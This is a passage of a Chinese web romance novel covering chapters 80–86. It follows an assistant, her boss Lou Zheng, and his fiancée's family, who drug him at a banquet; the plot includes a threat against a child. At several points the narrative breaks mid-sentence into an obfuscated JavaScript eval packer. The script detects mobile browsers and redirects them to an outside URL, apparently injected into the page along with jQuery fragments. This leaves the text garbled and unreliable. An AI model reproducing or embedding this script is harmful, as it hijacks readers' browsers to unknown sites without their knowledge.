那把匕首,他也早晚拿过来。贺韶瑭算什么东西,他的人也敢惦记。 看楼铮的神情,霍司岐鸡皮疙瘩起了一层。 “我真没想到,你会是这样的人。”他抚摸自己的手臂。 楼铮面不改色:“我是初恋,难免上头,你理解一下。” 霍司岐:“那以我对你的了解,你该不会明天天一亮就要回去了吧?” 楼铮:“今晚回,私人飞机已经等着了。” 霍司岐发出一声怪叫:“靠,我跟你们这些恋爱脑势不两立!” 楼铮靠强大的脑补能力把自己哄的心花怒放,可沈韫浓真没想那么多。 她之所以告诉他一声,无非是觉得以贺韶瑭的性子,一定会拿那把匕首说事,说不定还要告诉楼铮,那是自己送他的“定情信物”。 她预判了贺韶瑭要做的事,把话说清楚,也免得把小事闹大了。 不出所料,消息石沉大海。 沈韫浓也不内耗,在她这里,说完了,这件事就算过去了。 第八十章 婚期推半年 楼铮脸很黑,但沈韫浓不怕。 “楼总,要避嫌的。” 从昨晚到现在,楼铮一直憋着肚子火气,现在,憋不住了,他想掀桌子。 楼铮冷笑:“沈韫浓,发生过的事就是发生过,你以为装作跟我毫无关系,就没人知道我们的关系?” 楼铮这话已经非常情绪化了。 但沈韫浓很冷静。 她说:“但人总要往前走。我这么做,也是为楼总的声誉考虑,不只是为自己。” 说话时,沈韫浓就站在门边,像是做了万全准备,随时会冲出去,不给楼铮过来跟她拉扯的机会。 在公司里,楼铮也不会乱来。 楼铮又怎么会看不出来? 这个女人,防他跟防贼似的! 两人半个月没见了,总不能一见面就吵架。 况且沈韫浓那个一根筋的模样,分明是宁愿吵架也要把话说清楚的。 最终,还是楼铮妥协,硬生生的压下了脾气。 “出去吧。”他说,语气紧绷。 沈韫浓明显松了口气,什么都没说,直接走了。 看着面前合上的门,他气得许久缓不过神来。 这时,手机响起,是陈知意打来的电话。 “听说你出差回来了,晚上一起吃个饭吗?给你接风。”陈知意说。 楼铮知道她想聊什么,他也正好有话跟她说。 “行,你定好告诉我。” 晚上,他们约在了一家高档私房菜馆。 陈知意一直等菜上齐了,跟楼铮喝了杯酒,才开口道: “海油隧道的项目没争下来,我爸最近可是急坏了。 原本有十足的把握,没想到聚变会突然冒出来跟我们抢。你怎么样,这件事不会影响你在公司的地位吧?” 海油隧道的项目,原本楼氏和陈氏也都是竞标方,但楼铮提出两家本身关系就好,没必要为了一个项目变成竞争对手,于是提出楼氏表面上退出,由陈氏去竞标,中标之后,两家一起合作。 原本背靠楼氏,再加上陈氏自身也算老牌企业,这个项目是板上钉钉的。可没想到被人半路截了胡,连带着楼氏也失去了这个大项目。 她在替陈兴邦解释,怕楼铮丢了一个好项目会被董事会为难,也是怕楼家会因此看不起陈家,影响了她跟楼铮的婚事。 楼铮淡淡的,没什么情绪:“做生意就是这样,想要回报就要担得住风险,很正常。” 陈知意点头,替他把酒杯倒满:“我就知道你不会往心里去,他这个人就是要强,一股脑把责任都揽到了自己头上。” 第八十一章 你知道我的雷区 楼铮和陈知意从包厢里出来,陈知意的高跟鞋踩在了地毯的褶皱上,差点摔倒,好在她反应快,迅速拉住了楼铮。 沈韫浓看到的时候,两人就像是抱在一起。 见到沈韫浓,楼铮明显怔了一下,立刻就想推开陈知意,但他忍住了。 不知怎么,他明明没做什么,却有种出来鬼混被老婆抓包的心虚感。 此时,陈知意也放开了手,先笑道:“韫浓,苏少,这么巧!” 沈韫浓把眼睛从楼铮身上收回。 她微笑点头:“楼总,陈小姐。” 沈韫浓身后,苏磊的心虚不亚于楼铮,除了怕楼铮吃醋迁怒自己以外,他还在心里替沈韫浓捏把汗。 楼铮和陈知意的婚事,圈子里没有不知道的。 而且这位陈小姐可不是个没故事的女同学,她身后有陈家和楼家撑腰,有的是手段和力气,要是让她知道沈韫浓和楼铮……估计要翻天。 苏磊拿沈韫浓当自己人。 所以他下意识往沈韫浓前面站了一些,试图替她挡住陈知意的审视,也笑着对二人点了点头。 但那个动作,看在陈知意眼里就变了味儿。 “韫浓,难怪把我们贺少介绍给你,你不要。原来你已经有男朋友了啊!”她笑道。 一边笑一边在心里不爽。 这个沈韫浓除了有一张好看的脸还有什么,怎么这帮男人一个个跟吃错药一样护着她? 苏磊知道说多错多,笑了笑没有作声。 沈韫浓更是服了陈知意这样的性缘脑,什么都能扯上男女之间那点事。 她也早就发现了,陈知意看似大气,实则最在意这些东西,憋着劲儿要把全世界的女人都比下去。 她不知道陈知意和楼铮刚因为她拌了嘴,此时正是看她不顺眼的时候。但她和苏磊的关系比较敏感。眼前的情况,显然误会也比直说要好。 所以没有承认也没有否认,直接笑了笑岔开话题。 “真巧,刚才我还想给您发微信呢。周日我跟朋友约了去露营,跟您请个假。”沈韫浓对陈知意说。 陈知意大眼睛乱看,话题又往苏磊身上扯,暧昧道:“是苏少这位‘朋友’吗?那准假。我可不能耽误你的人生大事。” 她笑意盈盈,软刀子刺人,沈韫浓心里膈应。 当然不是苏磊,是林越林贞兄妹约她。 林越最近恋爱了,跟打了鸡血一样朋友圈秀恩爱,恨不得让全世界都看看他有女朋友。 沈韫浓作为妹妹的朋友,免不了被秀恩爱的命运。 她原本不想因为这件事耽误她搞兼职赚钱,想让林贞改约周六的,但现在陈知意阴阳她,她下意识就请了假。 “是朋友们一起。”沈韫浓说。 这里面当然没有苏磊的事,但她春秋笔法,不承认也不否认。 第八十二章 沈助理低血糖 田欣刚下晚自习,走到小区,就看到一辆炫酷的豪车停在门口,豪车边上,还有两个人抱在一起,仔细那个女人,好像是室友姐姐啊。 “韫浓姐姐?!” 沈韫浓听到田欣的声音,心口猛得一紧。 田欣是陈知意的学生,两人这样抱在一起被她看到,跟直接舞到陈知意面前有什么区别? 她睁大眼睛。 幽暗的光线下,楼铮依然没有错过她眼神里的慌乱。 除了慌乱外,更多的是满满的**。 是被他拉着做“第三者”带来的**。 楼铮的心口像被一只无形的大手攥住,疼得呼吸都有点困难。 可这件事还得他来善后。 他忽略心中的异样,迅速扯住沈韫浓的一只手臂,对田欣道:“你来的正好,沈助理低血糖犯了,你把她扶上楼吧。” “啊?!” 就这?! 田欣站在几步远处,惊讶地张大嘴巴,露出不太聪明的神色。 她刚才没看清楚,只看到了炫酷的跑车和一个个子很高的男人,那声“韫浓姐姐”也不过是试探。 本以为是贺韶瑭送沈韫浓回来,被她现场吃到了瓜。叫她一声,免得她回去还要装出一副和贺韶瑭不熟悉的样子敷衍她。 谁知,对方不是贺韶瑭竟然是楼铮。 贺韶瑭看着斯斯文文,多少好打交道一些。可楼铮不一样,楼铮气质冷冽得让人退避三舍,根本没有人敢跟他开玩笑。 田欣嘴唇翕动了几下,发不出声音。 一直到楼铮将沈韫浓塞进她怀里才反应过来。 “好,好的。”田欣似乎才反应过来。 沈韫浓此时的心跳已经稳定下来,她软软地靠上田欣的肩。 此时,楼铮已经上了他的科尼赛克,一脚油门开走。 他这么做是保护沈韫浓,怕陈知意动她,但显然两人没有想到一处去。 看着楼铮上车的背影,沈韫浓不由地在心里哂笑了一声,眸子泛起一层冰霜。 肆无忌惮的楼小爷,不也怕被陈知意发现吗? 这样也好,等哪天楼铮要是真把她逼急了,她就把这件事捅到陈知意那里。 “姐姐你怎么了,还低血糖了?”田欣扶着她,一脸关切。 沈韫浓不敢说自己没吃饭,怕田欣跟陈知意拿这件事对起账来。 她虚弱地摇了摇头:“我也不知道是不是低血糖,就是头很晕,幸好刚才在路上遇见老板,他带了我一段。” 而陈知意这边,在停车场跟楼铮分开后,第一时间给陈兴邦去了电话。 陈兴邦等得很急,第一句话就问:“怎么样,楼铮没不高兴吧?” “没有,这件事他都没往心里去。”陈知意说。 陈兴邦松了口气:“我就说嘛,楼家家大业大,损失一个项目没什么,不至于因为这个就觉得咱们陈家有意见。” 也许是听出了陈知意情绪不高,又问,“你跟楼铮吵架了?” “没有。”陈知意闷闷地说,“楼铮说,让我办画展,至少把婚期再拖半年。” 此言一出,陈兴邦也沉默了。 父女俩彼此沉默了有将近5分钟,陈兴邦才问:“知意,你跟爸爸交个实底儿,楼铮是想先做事业再结婚,还是根本不想跟你结婚?” 陈知意是个非常要面子的人,对楼铮的占有欲更是到了变态的程度,陈兴邦这个问题让她无比难堪。 她又沉默下来。 陈兴邦懂了。 “依我看,你们不能这样下去了。不如生米煮成熟饭,你要是怀了楼家的重孙子,到时候楼铮怎么可能不娶你?”陈兴邦劝她。 这话按理说不该从一个当父亲的嘴里说出来,可陈家现在表面看着光鲜,内里亏得厉害,太需要楼家了,陈兴邦也顾不得什么了。 “再说吧。”一想起楼铮的态度,陈知意就一肚子火气和委屈。 她突然又想到了一件事。 “对了爸,硕东苏家你知道吗?硕东集团是不是跟沈氏的业务范围差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713367|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多?” 陈知意心高气傲,拿自己当艺术家,生意场上的事不接触,知道的也不多。 陈兴邦回答她:“对,你怎么这么问?该不会是沈家那个二女儿……” 男人在那档子事上无师自通,陈兴邦见沈韫浓的第一眼就觉得她跟楼铮不清白。 “不是,我随口问问。”陈知意说。 放下电话,她眼里闪过一丝狠毒。 既然她不高兴,不管沈韫浓是不是无辜的,她是楼铮的助理,就该倒霉。 要怪,就怪自己运气差,谁让她撞上自己心情不好了呢。 周末,沈韫浓没能如愿和林越兄妹去露营,也没能去画室。 她跟楼铮去参加了王家小公子的百日宴。 王家的老太太和楼、陈两家的老太太是牌搭子,王家和陈家还沾亲戚,按辈分,陈知意要叫王老太太一声姨婆。 楼老太太见不得王老太太跟她炫耀,派了楼铮代表她出面。 当然这也不是沈韫浓加班的理由。 真正的理由,无非是楼铮不想让她去露营,又不肯明说罢了。 为了五倍的加班费,沈韫浓面上不动声色,心里早把楼铮的族谱问候了一个遍。 她跟在楼铮身后,刚进宴会厅,就看到陈知意迎了上来。 “就等你了,怎么这么慢。”陈知意说,走过来挎楼铮的手臂。 楼铮漫不经心抬手,整理一下自己的领带,躲了过去。 随口道:“路上堵车。” 陈知意微微一怔,只装没看到楼铮躲避的动作,先一步走在了楼铮前面。 “快点吧,姨婆等着呢。”她说。 沈韫浓走在两人后面,这才发现,他们还穿了情侣色,怎么看都是一对热恋期小情侣。 楼铮和陈知意站在一起恭喜王老太太,又吩咐各自的助理把带来的礼物奉上。 王老太太人逢喜事精神爽,笑得皱纹都展开了。 “我的重孙儿都百天了,你们两个也要抓紧啊。”王老太太说。 第八十三章 要么叫医生,要么同归于尽 催婚催生是老一辈的老生常谈,王老太太说这些并不让人意外。 楼铮:“王奶奶,楼家和陈家的情况您也知道,每天忙得什么似的,哪里顾得上?” 陈知意也附和:“对啊,姨婆,我今年上半年还要办10场画展呢。” 两人客客气气,滴水不漏。 王老太太笑道:“都什么年代了,怎么还那么保守?没空办婚礼,孩子还没空生吗?我孙子和孙媳妇也没办婚礼呢。” 沈韫浓在后面听得直想笑,心说王老太太人老心不老,这么开放。 这话楼铮和陈知意都没接。 王老太太的确高兴,一高兴话就多。 她跟楼铮说了不少陈知意的好话,夸陈知意漂亮懂事,谁娶她就是修来的福分。 楼铮自然不会跟她争辩,含笑道:“毕竟是王奶奶的姨外孙女,当然**挑一。” 一句话,哄得王老太太眉开眼笑:“你这孩子,搞得我老太太像自夸。” 陈知意嘟嘴撒娇:“姨婆,您这样说,不知道的还当我恨嫁呢。” 三个人有说有笑。 沈韫浓站在楼铮身后,越发觉得自己拒绝楼铮,及时抽身,是最正确的选择。 楼铮和陈知意又跟王老太太聊了一会儿,接着被安排入席。 这时有个工作人员过来找沈韫浓和陈知意的助理,轻声说:“老太太准备了伴手礼,麻烦你们过来拿一下。” 沈韫浓想跟楼铮打声招呼,但此时,他正眉眼含笑地不知在跟陈知意聊什么。 拿个东西应该也快,这样想着,沈韫浓便直接去了。 她和陈知意的助理一起被留在了二楼一个房间里。 伴手礼准备的有些久,起初沈韫浓没觉得有什么不对劲,直到她坐得有些累,站起身活动筋骨。 “你干什么?”陈知意的助理马上问。 沈韫浓怪怪地看她一眼:“坐累了活动一下,怎么了?” “哦,没什么。”那个助理嘟哝一声。 她的反应实在奇怪,好像在防着她。 沈韫浓心下突然警觉起来。 “我先去个卫生间,如果一会儿东西送来,麻烦你帮我拿一下。”她说。 那位助理不假思索:“我也想上,跟你一起去。” 沈韫浓挑了一下眉:“好。” 她的举动,更加坐实了沈韫浓心里的猜测。 进了卫生间,沈韫浓也不管她,自己进了隔间里。 她给楼铮发微信,简单说明了一下情况。 “有人要把我引开,还让陈知意的助理看着我,可能是想对你做什么,你多注意。” 楼铮那边秒回了一个“20层”。 是让她过去吗? “我去20层找你吗?”她问。 那边没有回复。 沈韫浓脑子迅速转了转。 “张助理,我大姨妈提前了,您带卫生巾了吗?”她出声问。 那位助理的声音从外面传来,干巴巴的:“没带。” 她根本没进隔间,目的只是想盯着沈韫浓罢了。 沈韫浓客客气气:“那麻烦您去走廊里帮我跟服务员要一个。” 那位张助理非常不情愿,但可能觉得沈韫浓也不至于出什么幺蛾子,还是去了走廊。 沈韫浓听脚步声离开,迅速出门,为了以防在走廊撞见,她先闪进了隔壁男卫。 万幸,这时候大多数人都在一层热闹,二层人少,男卫也没有人。 那位助理出去跟服务员打过招呼又返回。 听到脚步声后,沈韫浓从男卫迅速出来,往电梯跑去,直接上了20楼。 正要给楼铮打电话,一个房间门打开,楼铮站在门口看她。 沈韫浓迅速跑过去,喘的厉害,一时也没觉得楼铮有什么不对劲。 “没事吧楼总?”沈韫浓下意识问。 楼铮没回答,他进门,沈韫浓也跟进去,之后,门在身后合上。 沈韫浓还没往前走,便被楼铮压在了身后的门上。 她吓了一跳,再抬头,才发现了楼铮的异样。 不同于以往的沉冷,他身上的气息热得骇人,一双眼睛痴迷地盯着她看,眼里氤氲着水汽。 这不是平日里的楼铮。 沈韫浓还没开口,楼铮已经抬起了她的下巴:“人怎么能聪明成这个样子,简单一句话就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坚定了这个心思,沈韫浓在脑子里迅速分析她跟楼铮动手的胜率。 楼铮打架虽然挺厉害的,但现在到底是这种情况,如果对她用强,她应该不至于一点招架之力都没有吧。 而且,留下打斗痕迹,不至于到时候百口莫辩。 “抱歉楼总,您当时那么做我很感谢您,但您不能道德**我,我不行。”她说着,用没拿花瓶的那只手去掏手机,单手点开拨号界面。 “您自己选,我替您叫医生还是叫陈小姐?” 楼铮靠近,一把将把手机夺走,看沈韫浓的眼神更加复杂。 他的神情,痛苦交织着情欲,还带着浓浓的不满,侵略感十足。 “就这么想把我推给别人?” 沈韫浓心惊,别开眼去:“你本来就不是我的,没有推不推一说。” 真佩服楼铮,她当时中了药,清醒都费劲,他居然还能跟她说这么多话。 沈韫浓想着,又暗自提防,往门口躲,只希望他不要扑过来。 楼铮看着她,眼里是失望和灰败混杂的神色,不知怎么,在那一瞬间,沈韫浓觉得他像一只被抛弃的大狗,可怜巴巴的。 一定是她的错觉,楼铮是雄狮,是天之骄子,不可能露出那种神情,明明是她自己心虚,才会多想。 “出去。”楼铮说,语气冷得厉害。 沈韫浓已经站在了浴室门口,她一秒都没有犹豫,迅速走了出去。 浴室门迅速合上,接着,沈韫浓听到了里面传来的水声。 她想打电话求助,这时才意识到手机还在里面。 这会儿她可不敢进去,一个被药物控制随时面临失控的男人,比什么都可怕。而且这时候再进去,楼铮没准要误会她想主动献身了。 “我手机在里面,你自己打电话叫医生,或者报警吧。”她站在门外说。 回应她的只有延绵不绝的水流声。 楼铮衣服都没脱,在冲凉水澡。 心头的酸涩感一再蔓延,沈韫浓在门外四肢像是僵住了一般,许久才想起要开门出去找人求助。 门不知是不是在外面被人反锁了,她压了两下把手,根本动不了。 沈韫浓又开始在房间找座机,没有。 这一切一定是早有预谋。 浴室里除了水声,还有压抑的一声比一声粗沉的呼吸声。 楼铮实在痛苦。 沈韫浓隔着一扇门,像一块巨石压在心口上,她透不过气。 不能心软,现在心软,后患无穷。 只要她不管他,做一个合格的“白眼狼”,今天后,他应该会彻底放下自己了,他们也到了彻底结束的时候。 她深呼吸,闭上眼睛,逼自己忽略浴室的动静。 突然,一声巨响,是什么倒地的声音。 这一下重击,仿佛也击碎了沈韫浓的理智,她冲过去,旋开了浴室的门。 楼铮浑身湿透,倒在浴缸的边缘,头发也在滴水,一张脸上是不正常的红白交加。 “出去。”他有气无力地赶她。 沈韫浓深吸了一口气,她脱了外套,扔在洗手台上,走过去抱住了楼铮。 “你行吗?不行我来。”沈韫浓跪下去解楼铮的衬衫。 嘴上说着让人遐想的话,用的却是一副赴死的表情。 花洒里冰冷的水四处乱喷,她的脸上,身上也都被打湿了。 “沈韫浓,你妥协了。”楼铮勾起唇角。 他的神色像一个打滚后要到糖的孩子,让人心软。 沈韫浓不说话,依旧解他的扣子,楼铮抓住她的手,不让她动,带着她整个人跌坐在地上。 他抱紧她,把下巴搭在她的颈侧,灼热的呼吸在她的皮肤上一寸寸拂过。 那一刻,沈韫浓觉得她才是那个被下药的人。 “抱抱就好。”楼铮哑着嗓子说。 他不动,沈韫浓也不敢动,好在两人并没有维持这个姿势太久。 很快外面传来敲门声。 “小爷。” 沈韫浓迅速起身,她正想问楼铮需不需要扶,他已经慢慢站起身来,径直走到外面打开了门。 有医生进来,替楼铮手脚麻利地打了针,期间,一眼都没看站在一旁的沈韫浓,仿佛她只是个透明人,随后低着头出去了。 药效很快,打完针,楼铮肉眼可见得松懈下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721176|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他不顾浑身湿透,坐在了沙发上。 沈韫浓的衣服也湿了一些,但好在外套是干的,穿上看不出来。 她穿好外套,拿了个浴巾给楼铮。 楼铮漫不经心地擦着身上和头发上的水,顺带着,撩起眼皮看她一眼。 沈韫浓心虚,立在一旁垂眼看自己的鼻尖。 狗男人!明明早就喊了医生了,还跟她使苦肉计! 早知道装傻算了,何苦跑来,还落个见死不救的坏名声。 两人谁也没说话,又过了五分钟,敲门声再次响起。 “进。” 来的是潘琳,身后还跟着陈知意。 潘琳拿了一套新衣服给楼铮换,而陈知意的神色难看得要命。 她进门后,下意识先看了一下衣衫完整的沈韫浓,又看向楼铮:“你先去换衣服,我一会儿跟你说怎么回事。” 楼铮不置可否,拿着衣服进了浴室。 等他换完衣服出来,陈知意让人五花大绑了一个人进来。 这个人面生,看衣着不像是世家子弟。 “就是他干的,他说是准备给我下药的,结果你拿错了酒杯。”陈知意说。 一边说,一边当着楼铮的面给了那个人一脚。 “**算什么东西,也敢惦记姑奶奶,你配吗,狗东西!” 她一改往日的形象,拿出一个大小姐的气势来。 “来,你跟楼小爷说。” 陈知意又给了那人一脚,冷笑道,“不知道的,还以为我不要脸面,想做什么!我一个早晚嫁进楼家的人,为什么想不开这么干?今天你就给我把话说清楚!” 她一番抢白,好话赖话都说尽了。 如果不是自己被她助理那样盯着,沈韫浓都要信了。 喜欢楼铮又不丢人,他们又有婚约,她实在不知道陈知意非要端着,装出一副不喜欢未婚夫样子的意义在哪里。 难道是觉得谁先动心谁就输了? 可明眼人谁看不出来陈知意的心思? 对她的说辞,楼铮不置可否。 只是翘着二郎腿,淡淡调侃:“你这破案速度可够快的,不知道的,以为进海市的刑侦部门上班了。” 第八十五章 陈知意心虚 陈知意又急又恼,说话的语气也很差。 “楼铮,你不信我?我要是想对你做什么,这么多年,我用得着一直拖着我们的婚约?我至于用这样下作的手段吗?!” 楼铮没理她,低头找自己的烟,摸了摸衣服口袋没找到,才想起应该是在那套湿透的衣服里。 他没说话,脸色看起来很不耐烦。 楼铮不开口,陈知意也不好再说话,静静地等。 潘琳迅速出去又进来,手里拿了包烟递给他。 楼铮点了一根,才靠着沙发缓缓道:“我一个受害者都没说什么,你那么大反应做什么?这个人你准备怎么处理?” 陈知意很快给了她准备好的解决方案:“打一顿,断他一条腿。今天毕竟是王家的场子,这样的事说出去伤交情,你也没面子,就不报警了。” 地上的男人吓得脸都白了,哆嗦着面如土色,但他不辩解,什么也不敢说。 傻子都知道这男的只是个替罪羊,她就不信楼铮看不出来。 除非他就是装傻要包庇。 只见楼铮似笑非笑地吐了一口烟圈,眼底一片阴冷,跟刚才浴室里那个缠着沈韫浓“抱抱就好”的模样判若两人。 “连怎么处理都想好了,你做事还真是周全。” 这话听着不像夸奖,像嘲讽陈知意心虚。 明明他坐着,陈知意站着,可他看人时就是让人觉得居高临下,连平时在他面前活泼俏皮的陈知意都乖顺下来,不敢造次。 这话陈知意还没想好怎么接。 楼铮靠在沙发上摆摆手,懒洋洋道:“行,那你去吧,就这么处理。” 陈知意准备了一肚子自证的话,被楼铮轻飘飘堵了回去。 此时,她肉眼可见地涨红了脸。 “我说了不是我!你不信的话,你问他!”她声音发尖,听上去已经急了。 楼铮掀起眼皮,淡淡看她:“我又没说是你,心虚什么?别无理取闹,去吧。” 陈知意顿时萎靡下去,她像一只河豚,鼓起的气又泄掉,整个人非常瘪。 吃瘪的瘪。 好几双眼睛看着,她没再说什么,转身走了。 关门的声音有点大,但完全没敢跟楼铮发脾气。 沈韫浓在一旁静静观察,心里很吃惊。 她以为陈知意在楼铮面前是那种恃宠而骄的“小作精”,平时看起来也的确如此,楼家和楼铮也都愿意哄着她,给她三分面子。 没想到,也不过如此,真遇到事儿了,她也要在楼铮面前低下头去,大气都不敢喘。 跟别的人面对楼铮也没什么不同。 一怒之下怒了一下,这句话用来说此刻的陈知意,再合适不过。 陈知意一走,关起门来,楼铮掐了烟,好整以暇地看向沈韫浓。 “她说的话你信吗?” 沈韫浓当然不信,毕竟她刚才一直被陈知意的助理盯着。 但她怕被楼铮当枪使,回答得滴水不漏:“未知全貌,不敢乱猜。” 她谨慎的小模样落入楼铮眼里,楼铮觉得有趣——胆小鬼又缩回乌龟壳里了。 更何况,她刚才做的事,也让他有种隐秘的喜悦。 那么理智的人,在最后能为了他不顾一切,这还不能说明她喜欢自己吗?这就够了。 楼铮又把自己哄好了。 他嗤笑一声:“沈韫浓,刚才陈知意说话时你就差翻白眼了。” 沈韫浓:“……啊,这么明显吗?” 一旁的潘琳也“噗”的一声笑了出来:“还真挺明显的。” 沈韫浓顿时有点尴尬也有点恼火,心说你自己能问出这话,证明自己也不信,陈知意在的时候不说,走了说有什么用。 “那你刚才不问陈小姐……” 潘琳替楼铮答:“这事还真不是陈知意干的,是陈兴邦。本来在事发前已经被陈知意拦下了,可这酒又被老板换了回来,来了个将计就计。” 当然,换的酒里面药的剂量很小,只需要留下血检证据即可,并不足以让楼铮完全失控。 这话潘琳没说。 沈韫浓惊讶地瞪大眼睛。 所以,楼铮装大度,做出个息事宁人的模样,一句话不问,要的就是陈家百口莫辩。 他不纠缠,陈知意如果上赶着解释,就显得更加心虚。 没猜错的话,下一步,就是把这件事暗暗传出去,让楼老太太知道,自己的孙子被人害了。 沈韫浓垂着眼,脑子飞速运转,把这件事从头到尾捋了一遍。 楼铮这个人是把所有人都算计进去了啊,真狠,连自己都不放过。 她默默地想,又不合时宜地想起上次她给自己下药的事来,脑子一个激灵。 他能把将计就计玩的这么溜,那当初,告诉自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739358|172021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼凤栖不玩纯爱的是他,那天也一定是他故意换了楼凤栖的酒,又将他引开,然后装出救世主的样子,让自己求他…… 沈韫浓的心脏狂跳,心中闪过羞恼。 明明是他黄雀在后,为什么一次次说她勾引在先。 沈韫浓心思百转间,房间门被敲响,王老太太和她好几个儿孙齐齐地走进来。 王老太太也不敢再端着长辈的款,讪笑着对楼铮道:“阿铮现在觉得怎么样?一会儿去医院再检查检查。这事也怪奶奶掌家不严,实在没想到会出这么档子事儿……” 王老太太此时恨透了陈家。 这件事如果成了,陈家是最终受益者,一定是他们干的! 王家跟陈家沾亲戚,她还说了催生的话,很难不被人怀疑到她头上。 王老太太的儿孙们更是一个个小心地看着楼铮脸色,生怕他今天一个不高兴掀桌子。 楼铮没有因为面前是长辈就站起来,他语气淡淡,透着不快:“王奶奶,今天这件事,我可以吃了这个哑巴亏,不追究。但毕竟发生在您的地盘上,还请您到时候给我个交代才好。” 沈韫浓简直要为他的表演天赋鼓掌,在心里讽了一声绿茶男。 王老太太忙不迭道:“当然,奶奶一定彻查。” 此时,楼铮的手机响了,是楼老太太打来的电话。 虽然这边听不到那边说了什么,但显然,楼老太太在担心他的身体,问了很多,也提到了陈家。 楼铮淡定,当着众人的面一一作答。 “我没事,就是冲凉水太久,现在有点头晕。” 现在是初春,天气乍暖还寒,这话就是在跟老太太卖惨。 “陈知意说那个人是觊觎她,给她下的药。可她的助理把我的助理骗走关了一个小时,说她没问题,谁信?” “我知道,毕竟外面都以为陈家和楼家是共栖关系,传出去对咱们楼家名声也不好。算了吧。” “共栖关系”十足抬举陈家了,陈家虽然也是大家族,但到底还是在抱楼家大腿多一点,楼老太太当然也知道这一点。 他说这话,也是让老太太权衡。 楼铮好一副忍辱负重,委曲求全。 沈韫浓把自己带入楼老太太,看自己大孙子这样被人伤害,心都要碎了。 她有预感,这件事恐怕不会这么轻易就算了。 第八十六章 冷陈家几天 楼铮当着王家众人的面打完电话,就声称有事,带着潘琳和沈韫浓离开了。 这件事在百日宴上知道的人的确不多,但楼铮出事,已经足够坏了所有王家人的兴致。 “陈家还真是让我开眼了,这女儿推销不出去了,这么着急?” 王老太太一身的喜气洋洋,早就化成了戾气,笃笃地敲着拐杖,一想起以后要怎么面对楼老太太就头疼。 “去查一下今天谁负责酒水,就算跟陈家撕破脸,也必须给楼家一个交代。”她的大儿子当机立断命令道。 而陈知意这边,更是简直要气**。 她冲到陈家老宅去,见陈兴邦正在喝茶,过去一把夺过茶杯摔在了地上。 “爸!你这是干什么,吃相这么难看,要我怎么面对楼铮!” 她发了疯,把茶杯摔了还不解气,又拿起茶壶,往地上一摔。 这下,陈兴邦也恼了,冷笑道:“还不是楼太太呢,就跟你老子耍疯,以后嫁过去还了得?” 陈知意不甘示弱:“今天楼铮已经怀疑我了,你这样做,我也嫁不过去!” 陈兴邦安排了那个男人假扮宴会的服务员下药,又给陈知意临时安排了一个助理,盯紧楼铮身边的人。 没想到这件事被陈知意发现,她觉得不妥,怕出岔子。先去警告了那个男人一番,那男人也答应了不乱来。 至于她的助理把沈韫浓引走,她根本没当回事。只要楼铮不中药就行,沈韫浓不在更好,她不想看见那张讨厌的脸。 谁知,楼铮还是中招了。 陈知意一时间脑子轰隆一声,直接把账算到了陈兴邦和那个男人头上。 尽管那男人拼命狡辩,说不是自己,陈知意还是让人把他绑了。 不仅如此,她用他上小学的女儿威胁,告诉他,必须按她的要求说,敢乱说半个字,等着给他女儿收尸。 她觉得自己的做法已经是急中生智,力挽狂澜,殊不知正好落入楼铮的圈套里。 陈兴邦可不觉得是自己的问题,明明他的计划非常周密,是陈知意不聪明,饭都喂到嘴边了,都还能把事情搞砸了。 “失败了就失败了,丢脸就丢脸,楼家还能因为这个退婚不成!”陈兴邦恼羞成怒,怫然起身。 一直到这会儿,父女俩还觉得是对方弄巧成拙,根本没想到楼铮身上去。 楼铮离开王家后,就去了楼家老宅。 楼老太太让人煮了姜汤,又安排了一个中医过来替他把脉,确保那个药没有伤到根本。 “我看小爷的症状,中的不像是**,倒像是那种生子的补药。”中医把完脉,对老太太和楼铮说。 生子药当然也有助兴的功能,用在王老太太重孙的百日宴上,那就更有趣了。 更何况,楼铮全程除了陈知意没接触别的女人,陈知意的恶名在外,更不可能有人敢当着她的面对楼铮下手。 也正是这个时候,王家那边的大儿子来了,拿了王家宴会上的监控录像给楼老太太和楼铮过目。 监控总共两段: 第一段是陈知意和一个工作人员站在后厨门口说话,陈知意皱着眉头,看上去情绪很差。 第二段是沈韫浓和陈知意的助理被一个工作人员引到电梯间去。 两段视频背后的人声很嘈杂,都听不到他们说什么。 